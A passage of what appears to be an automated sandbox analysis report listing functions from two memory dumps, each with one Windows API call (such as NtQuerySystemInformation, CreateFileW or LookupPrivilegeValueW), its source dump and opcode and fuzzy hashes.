Instruction Fuzzy Hash: 5A11C276500B40DFEB21CF55DC84BA6FBE4EF44225F48C46AED498B626D331E814CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01E1B329

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: ff9980e4d8413681503d151de6ce809f7e413238ff9d4f205916f016c183d8ab
Instruction ID: 0f1c1cb1851c24b798692a674c20ba09e8a064010cc7d1b0797d3ab2ca917a3e
Opcode Fuzzy Hash: ff9980e4d8413681503d151de6ce809f7e413238ff9d4f205916f016c183d8ab
Instruction Fuzzy Hash: 0E11C272508380AFDB228F15DC45F52FFB4EF06224F09C49EED844B663D275A818DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01E1B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01E1B329

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 099058365fd6752baacc5221823ab57013efdf57505b769d3beac479d75c5ef3
Instruction ID: e497be9e292e2526ec5cb3e4d1f828d3f81a354fcf4d4fe73b6faed4b5a65114
Opcode Fuzzy Hash: 099058365fd6752baacc5221823ab57013efdf57505b769d3beac479d75c5ef3
Instruction Fuzzy Hash: DB01AD32400700DFEB218F09DC85B66FBB0EF08721F08C09ADD494B61AD2B1A428DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02740118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027401D0

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: a522203a0e3a6407994d4706bec8e3e43130feb5e9bb2d582764f67da3e20e6e
Instruction ID: cd911b24afc960c2c607f2de27b1d827c9b7618c60826d7feb466565a348a5f4
Opcode Fuzzy Hash: a522203a0e3a6407994d4706bec8e3e43130feb5e9bb2d582764f67da3e20e6e
Instruction Fuzzy Hash: 7A31487654E3C08FE7138B759C65692BFB4AF03210F0E84DBD984CF1A3D6299809DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0274067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0274072D

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5c80c474d1dfe4da6beb003c5d36fe286d073b6001227da2c998216d93559206
Instruction ID: 96c2d695a9ae300c5ee3670a77a3e53fc611644eaf70b916d29feb31e17c0c21
Opcode Fuzzy Hash: 5c80c474d1dfe4da6beb003c5d36fe286d073b6001227da2c998216d93559206
Instruction Fuzzy Hash: 5D316271505380AFE722CF65CC85F56BFF8EF06210F09849EE9858B292D775E908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02740D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02740DD6

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: d34cccffc3e6271d7e2bca4c2091f95d861ac17a7dd8c488baac5bafebb17ebf
Instruction ID: 4e86925914d339e3698978df8f7c52832181bc3818fbda2666a0274242daf9cc
Opcode Fuzzy Hash: d34cccffc3e6271d7e2bca4c2091f95d861ac17a7dd8c488baac5bafebb17ebf
Instruction Fuzzy Hash: DE319871509380AFE712DB25DC45B96BFE8DF06214F0884AAE944CF293D775E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 01E1AFBE

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 52d1fbad6f714aabfca57f64310354df93f6abd880c7f161b655171ecf8cb1c7
Instruction ID: c8aa7e9bbf1c6b17ce21a4dfb3dac878c08dd0646fce04ee5b2e4a9f4faca3e2
Opcode Fuzzy Hash: 52d1fbad6f714aabfca57f64310354df93f6abd880c7f161b655171ecf8cb1c7
Instruction Fuzzy Hash: 2B21E4B2509380AFE712CF20DC45B96BFB8EF06320F0884DBE984DB193D225A949C771

Uniqueness

Uniqueness Score: -1.00%

Function 01E1BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 01E1BDBC

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 74974848722034e53f07ec27a7ab9e6b728a4e240904a9731391350e068db8a3
Instruction ID: 543f52739834eb6289d1173dee48de8d76e354b403baa3236bcdcad04cd5943e
Opcode Fuzzy Hash: 74974848722034e53f07ec27a7ab9e6b728a4e240904a9731391350e068db8a3
Instruction Fuzzy Hash: 1A31C372509384AFE722CB61CC45F96BFB8EF06210F0884DBF984CB193D224A908C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 02740FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0274109E

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 3bb6468a43f863569fcb7882dc88a7a5fa3d72ba7a061a168c8bb44eb327f63e
Instruction ID: b32f7b570e04b2ad52e9f76433fb3e21de52b52e0fcabae6b7c3123ca1c2950b
Opcode Fuzzy Hash: 3bb6468a43f863569fcb7882dc88a7a5fa3d72ba7a061a168c8bb44eb327f63e
Instruction Fuzzy Hash: DA31717654E3C06FD3138B358C55B56BFB4AF43610F1A81DBD884CF2A3D629A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01E1B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 01E1B0AE

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: d521a06516bff0c600fa731ce116e1bfcebbd28fb8cfca088d954978aa4a2520
Instruction ID: 18142a3d613831b39d36b4f0e0b3977ef4421a829d86e0042b1d92714bcb3999
Opcode Fuzzy Hash: d521a06516bff0c600fa731ce116e1bfcebbd28fb8cfca088d954978aa4a2520
Instruction Fuzzy Hash: 99219171505380EFE722CB15CC45FA6BFB8EF06320F08849AE945DB152D664E948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A1A8, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetConsoleTitleW.KERNEL32(?,00000E9C,?,?), ref: 01E1A23E

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 84d72e608c811a155b64585f3aee9b999a1b068209f7fff99995422d1d583b88
Instruction ID: 46aa24d0d950b246bb454ca35b5812ed0ae19db1349a1e4e82dc6eb26fd5095a
Opcode Fuzzy Hash: 84d72e608c811a155b64585f3aee9b999a1b068209f7fff99995422d1d583b88
Instruction Fuzzy Hash: 1D21C77194D3C06FD312CB258C55B66BFB4EF47620F0981DBD884CF193D229A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02740784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 02740819

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: a6f0f8e2d5efda862265b985906a989e57ef1b10cd0f5f3cf7a3817cb858e850
Instruction ID: 79fabba6ad26115c39e68dab6634f4ecd07c8f07f11adc3f85541c3f67dc743c
Opcode Fuzzy Hash: a6f0f8e2d5efda862265b985906a989e57ef1b10cd0f5f3cf7a3817cb858e850
Instruction Fuzzy Hash: 6A21DA76408780AFE712CB159C45FA3BFA8EF46720F0981DBF9848B193D724A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 02740464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02740502

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 6f77d70aeaba74c0fd7459a9bb5abf103afbc5d8728938be517a67b599a5f007
Instruction ID: 8bee9e34235b6f65801ac77c6b155728ea2242300664574fdc1a154a0bcb2ba7
Opcode Fuzzy Hash: 6f77d70aeaba74c0fd7459a9bb5abf103afbc5d8728938be517a67b599a5f007
Instruction Fuzzy Hash: 74217F7640E3C0AFD3128B358C55B62BFB4EF47610F1A81CBD8848F693D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 027406AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0274072D

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e8512afc86ad274d6018a1edce2abf9f6dcbfa577d84aec2bc5478893c281c6f
Instruction ID: d64c9b48bbc6e9b038f11af67a11dac7f7c36be39ee9e96986244f9c9d26b767
Opcode Fuzzy Hash: e8512afc86ad274d6018a1edce2abf9f6dcbfa577d84aec2bc5478893c281c6f
Instruction Fuzzy Hash: AF219071500704EFEB21DF65CC85F66FBE8EF08650F04846EEA499B291D771E904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02740854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 027408E5

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 98463e3ac80ff0a7a9e7f906179e6e46dd621add6d20e63c48be70f8b36d1190
Instruction ID: 12c9c22e5b8ce1eaa8a72e1d1cd4a223459c0771acbb31700a0a289f5a9d1015
Opcode Fuzzy Hash: 98463e3ac80ff0a7a9e7f906179e6e46dd621add6d20e63c48be70f8b36d1190
Instruction Fuzzy Hash: 79219272409380AFE722CF61DC45F96BFB8EF46314F09849BE9449B153C275A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A8B4, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E9C,?,?), ref: 01E1A94A

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 0847f461b06e05619807afee27971f5acda5d3396b71994d7dd7aebd647d256f
Instruction ID: a076ed4e2675f31646d0df26f8661d429acde0a1f03e00586b2fa3bb8973837e
Opcode Fuzzy Hash: 0847f461b06e05619807afee27971f5acda5d3396b71994d7dd7aebd647d256f
Instruction Fuzzy Hash: 0F21A77540D780AFD3138B25DC51B62BFB4EF87710F0981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 02740D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02740DD6

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: d75b1a4b07ab2cb09a47ff9a7035314929ec7408235bd785f982504d7bb99b94
Instruction ID: 8ea63a905d5aa1dae1b0cb3250d2cbcea322f119755e7228c2c9ceb81542f0a8
Opcode Fuzzy Hash: d75b1a4b07ab2cb09a47ff9a7035314929ec7408235bd785f982504d7bb99b94
Instruction Fuzzy Hash: F621AE71600200AFF724DF25DC85BA6FBE8EF04210F04846AE948DB282D775F804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 01E1BDBC

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 073745e4f9068ed3d7b54074aeaff4827e1bfa41f572c6ec9a3ac618c1c17a48
Instruction ID: 61c24c84815f60c801ae3399e89ab5236fec483c3ee1f5daf777af28c778ae80
Opcode Fuzzy Hash: 073745e4f9068ed3d7b54074aeaff4827e1bfa41f572c6ec9a3ac618c1c17a48
Instruction Fuzzy Hash: 1111AF72500304EFEB21CF55DC85FAAFBACEF04320F04856AF949DA145D670E9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01E1B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 01E1B0AE

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 02baf5bb5e5abda96be74a5bd3360de71da5640092a0463ea686cee5db57deaf
Instruction ID: 3d9a05b09d3ba1afeda96e1a9ca13236dc5873277ef93fee5a14c8a37d75d557
Opcode Fuzzy Hash: 02baf5bb5e5abda96be74a5bd3360de71da5640092a0463ea686cee5db57deaf
Instruction Fuzzy Hash: 10117F71600300EFEB21CF15DC85FAABBA8EF05760F14846AE905CB245D674E9448A61

Uniqueness

Uniqueness Score: -1.00%

Function 0274137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027413F0

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 47a902f6404bb03066715d2b7cbd702ac0964924c371dd48d39f4a389b132af8
Instruction ID: 7625889b41b83b4b3e86426cac08a16c11eee98325f7fa0ce1c1ef9ea72c11fb
Opcode Fuzzy Hash: 47a902f6404bb03066715d2b7cbd702ac0964924c371dd48d39f4a389b132af8
Instruction Fuzzy Hash: 142192725043809FEB21CF25DC45B96FFB4EF06220F09849AED858B562D335A848DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02740F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02740FB0

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 34093160b7c078064483d8bce8209b455b1861f00ded2ea29f12dd86765e7d3e
Instruction ID: 1b6d4f6ef2302393864e0ab7ba4cab4bc71780e8678f92e7bb819090d664cd3b
Opcode Fuzzy Hash: 34093160b7c078064483d8bce8209b455b1861f00ded2ea29f12dd86765e7d3e
Instruction Fuzzy Hash: 8E216F7150D7C09FDB12CB25DC55B92BFB4AF13214F0D84EAD988CF653D2659808D762

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01E1AB1A

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 055f7c0d56e66aca301585acca0560fb1ae473a8f69545e4bff385df40085bf7
Instruction ID: df5d59cdef632975edee72c452fa09e5c0b5c4ccebcf7842b117cc27fe7c6a5b
Opcode Fuzzy Hash: 055f7c0d56e66aca301585acca0560fb1ae473a8f69545e4bff385df40085bf7
Instruction Fuzzy Hash: A42175B26053C09FE722CF29DC45B66BFA8EF46615F0884AAED45CB252D265E804C761

Uniqueness

Uniqueness Score: -1.00%

Function 01E1BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 01E1BB2F

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: d05aabdf6f54765e4b08a50b9c81c203e884202ea738e0e5fbc5cf73259a3576
Instruction ID: 51f705c941c7f13a1ecd690d4a15863e03c492ee2779540a2b7b059bfb37e83f
Opcode Fuzzy Hash: d05aabdf6f54765e4b08a50b9c81c203e884202ea738e0e5fbc5cf73259a3576
Instruction Fuzzy Hash: ED21A1725093C09FEB128B25DC55B96BFB4EF07320F0984DBDD858F263D224A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 027410D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02741148

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 7da2bee8ed485077d4bffc1f67ca081dadd6a81be08e20de115fc3e60a39f003
Instruction ID: 928c499a52b52519dd8b9cab5c6e12719d6c6a12b7945589c23d2831acfcd590
Opcode Fuzzy Hash: 7da2bee8ed485077d4bffc1f67ca081dadd6a81be08e20de115fc3e60a39f003
Instruction Fuzzy Hash: 88216D6140D3C49FE7138B25DC54A62BFB4EF57620F4980DBD8898F2A3D6696808D772

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 01E1AFBE

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 365bed2b06a20c9e1ec9fcaaa1704bfd687fa4155d796dd3405e1e9435b69a6d
Instruction ID: 3f42f6bfff91d9d8d362d8529d012cd22e1872cce047802e164b989d5b764137
Opcode Fuzzy Hash: 365bed2b06a20c9e1ec9fcaaa1704bfd687fa4155d796dd3405e1e9435b69a6d
Instruction Fuzzy Hash: 1011C172500300EFFB21DF55DC85BAAFBA8EF48720F14846AED09CB285D670A9448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01E1BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 01E1BA7E

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f070e985e38277d24f1ccb4bb6f31d4902f4d0eb7defff3eb2c483b2ba4fa41c
Instruction ID: 519f7404e70ffc54d225b2805bc0588f96b073f1e00252e0bdf8da817e6b736a
Opcode Fuzzy Hash: f070e985e38277d24f1ccb4bb6f31d4902f4d0eb7defff3eb2c483b2ba4fa41c
Instruction Fuzzy Hash: 5F119D72504380AFDB22CF65CC85B52FFF4EF05210F08849AE9898B662D375E418CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02740886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 027408E5

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 672add5aed007384550536042770ee3cedc758007ec027b023701deb355260f4
Instruction ID: 1a682b679da8b879798b3684d06e93276955a2f05c05bb6089b4bd8673484d2d
Opcode Fuzzy Hash: 672add5aed007384550536042770ee3cedc758007ec027b023701deb355260f4
Instruction Fuzzy Hash: C611CE72400300EFFB21CF51DC85FA6FBA8EF54720F04896AEE499A241C771A904CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01E1A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 01E1A39C

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 7b1b53f31292da00c8198039e2421900409df97bb8979c37c3b5c8ba20767c92
Instruction ID: 613256e8f8bada07702ea7cf085b83f20cb11c0f36dc6764fd2da144992dcd0d
Opcode Fuzzy Hash: 7b1b53f31292da00c8198039e2421900409df97bb8979c37c3b5c8ba20767c92
Instruction Fuzzy Hash: 7C118F714093C09FE7128B15DC54BA6BFB4DF47614F0880DBEDC48F253D265A808DB62

Uniqueness

Uniqueness Score: -1.00%

Function 027412D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0274132F

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 0d83d9dc546489f1f97bc3b9f0f731150cf185755423b100b63b488f0a104e28
Instruction ID: 1d5311b501c3329a72b6f9883348d7fd810e5e952d03dc709e5ef68694e68732
Opcode Fuzzy Hash: 0d83d9dc546489f1f97bc3b9f0f731150cf185755423b100b63b488f0a104e28
Instruction Fuzzy Hash: 3A1191725093849FDB218F25DC85B96FFA4EF06220F0984EFED498B252D375A848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 027405E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02740640

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 40a098d6275fe067c46d012042cffd451c838668fac8fbacb13c0648f3de1a63
Instruction ID: 4cfc098b092467565b1020eb160d40a68756cdffed7d75baf0a4afbf96c92071
Opcode Fuzzy Hash: 40a098d6275fe067c46d012042cffd451c838668fac8fbacb13c0648f3de1a63
Instruction Fuzzy Hash: C511E5765093C09FDB128B15DC95B52FFB4DF53220F0880EBED858B663D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01E1AB1A

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 1bfd07f240cd647855bf2c850767a15be00ed4f96071d7090129bb2574ada6ca
Instruction ID: 62039f64f3f588afebffcd1d928ebf40515d79e6758cc2f447807a5a126e6447
Opcode Fuzzy Hash: 1bfd07f240cd647855bf2c850767a15be00ed4f96071d7090129bb2574ada6ca
Instruction Fuzzy Hash: E61152B26013809FEB20DF29DC85BAAFBD8EF55615F08847ADD0ACB646D674E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01E1AA71

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 208702f8a98fc33eb3b3fb10e925db519273ee6135f897e651fd0cee9895aa11
Instruction ID: 53bb06fb83dc4e191911ff8fa2197bbc3a7c87d9db150f7b91a79d0af5085ff0
Opcode Fuzzy Hash: 208702f8a98fc33eb3b3fb10e925db519273ee6135f897e651fd0cee9895aa11
Instruction Fuzzy Hash: CD11E37640D7C09FE7128B15DC85B91BFB0EF03224F0A80DBDD858F163D268A909C762

Uniqueness

Uniqueness Score: -1.00%

Function 0274092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0274099C

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ee365e164a437c08b4ab406351ea9402cedfb41fbb33eccac939c2e406ccabb6
Instruction ID: 81536ded9a1ada7c0a52ba895070b43e8e4afe3d5ce9c0ca0c0c3040b8da4f06
Opcode Fuzzy Hash: ee365e164a437c08b4ab406351ea9402cedfb41fbb33eccac939c2e406ccabb6
Instruction Fuzzy Hash: B3119D714093C09FE7128B25DC55B92BFB4EF07324F0980DAD9848B263D365A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027407C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,1257C9EF,00000000,00000000,00000000,00000000), ref: 02740819

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: c57b8cf68b2bb7133d0a2272cba1abd1f287a7626f9abde60f7b02ac8b3df3c0
Instruction ID: 641755473c5d014979dc97b63e9a5e4d7201e2a92c9c25357234a54fff8ef5e5
Opcode Fuzzy Hash: c57b8cf68b2bb7133d0a2272cba1abd1f287a7626f9abde60f7b02ac8b3df3c0
Instruction Fuzzy Hash: F7018072540704EFFB209F15DD86BA6FB9CDF45721F14809AEE099A241DB74A904CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027413AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 027413F0

Memory Dump Source

Source File: 00000017.00000002.2221833653.0000000002740000.00000040.00000001.sdmp, Offset: 02740000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: bf8a49f527cf05d42523dbf1252ef181e06363198cb470c2d72306ecdfb2e858
Instruction ID: d289a75c722c454c8a9da9ac276ed665a9633811579ef53bf5782b27f32e221a
Opcode Fuzzy Hash: bf8a49f527cf05d42523dbf1252ef181e06363198cb470c2d72306ecdfb2e858
Instruction Fuzzy Hash: B111AD76600700DFEB20DF5ADC85B66FBA4EF04621F48C4AAED498B652D771E848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01E1AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01E1ABC9

Memory Dump Source

Source File: 00000017.00000002.2207880450.0000000001E1A000.00000040.00000001.sdmp, Offset: 01E1A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 7d41a251a49b6f316469653a83012daaa66d0b5c2c86a81326a9979a8de7c2e1
